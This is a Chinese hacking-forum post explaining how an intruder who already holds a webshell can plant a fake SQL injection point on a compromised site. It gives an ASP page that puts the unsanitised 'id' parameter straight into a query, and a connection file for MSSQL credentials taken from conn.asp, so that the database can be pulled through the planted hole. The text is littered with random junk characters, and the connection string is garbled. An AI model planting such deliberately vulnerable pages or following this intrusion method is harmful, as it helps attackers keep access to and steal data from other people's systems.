自己构造注入点方便入侵

admin

自己构造注入点方便入侵

8 K! x9 X3 Y' Y( \7 q) f今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点，然后方便渗透，找到更多的可利用的信息

这两天一直考试，想了下，就先仍出来，有什么问题可以提出来，我们一起讨论！
! p# o. ~2 [+ j. L
4 o/ S) E, V  j, F- _9 S首先你要拿了一个webshell，这样你找到连接数据库的文件，大多都是conn.asp这个文件里面有mssql的用户和
8 u& R( d9 e; E# E! n" N) ^7 G
# t, d4 ]0 i( t3 M# R+ B2 V3 L! y密码，你要找到用户名、密码、数据库所在的IP，然后连接上去，至于连接大家应该都会，找到网站管理员的表
7 K0 h6 o0 k7 L0 v: [
! U* u9 T- T0 u8 c4 C3 U因为我测试的时候是用管理员的表，我朋友说任何表名都可以，只要这个表存在，代码如下：
; k% R4 J' u7 f1 `9 M1 F
程序代码
% a" V7 G/ o& W! `7 x- |& H1 f; P<!--#include file="xx.asp"-->
& e; J" n6 e, d$ {1 T, H+ b4 F<%
7 z3 w; }9 p2 v2 r! Q$ Mset rs=server.createobject("ADODB.recordset")
% V  n) L1 p( O/ i( H7 wid = request("id")
* g3 c1 a+ n# N* U4 j0 @strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3
7 o0 ~6 w% v1 G7 S+ D, zrs.close
8 T+ S1 w3 p5 N% q$ x" u%>

* c. i7 F' ^! a8 U把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名，注意必须存在
9 G# O. m; U. J2 J7 f" P' b0 |2 F
; n0 Z% F8 F! ]! \你可以连接上去看下表名就是了！这里假设的是admin是表名！这个文件名随便保存！

1 ]: S9 U: G; U8 Y9 A4 B. @5 P7 z0 F然后就要构造一个连接数据库的文件了，代码如下：
. I  M- x* I2 t' G; f8 }程序代码
$ b$ P" H5 n" Q* S: Y<%        
5 N1 o; @2 W# W4 O5 GstrSQLServerName = "000.000.000.000"     '服务器名称或地址
strSQLDBUserName = "sqlname"         '数据库帐号
strSQLDBPassword = "sqlpass"         '数据库密码
strSQLDBName = "sqldataname"           '数据库名称
7 B5 O; n2 @5 J4 J. ?. KSet conn = Server.CreateObject("ADODB.Connection")
4 G" X8 f6 u6 V9 a. d, L7 ^6 cstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
2 n/ N, C' p0 V2 C; x3 \%>
( u* h2 Y9 G$ q. S5 `  @6 p( t" p0 D
这里应该都会了，就不罗嗦了，不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话，
$ w9 D6 ?# J( b' c3 S, J0 J+ a  A
就这样，正常情况下，就OK了，伪造成功……
2 T& p5 ]  j! V8 H4 L
' l* S; ]& K5 I2 u& t  a! R           如果有什么问题可以提出来大家一起探讨解决。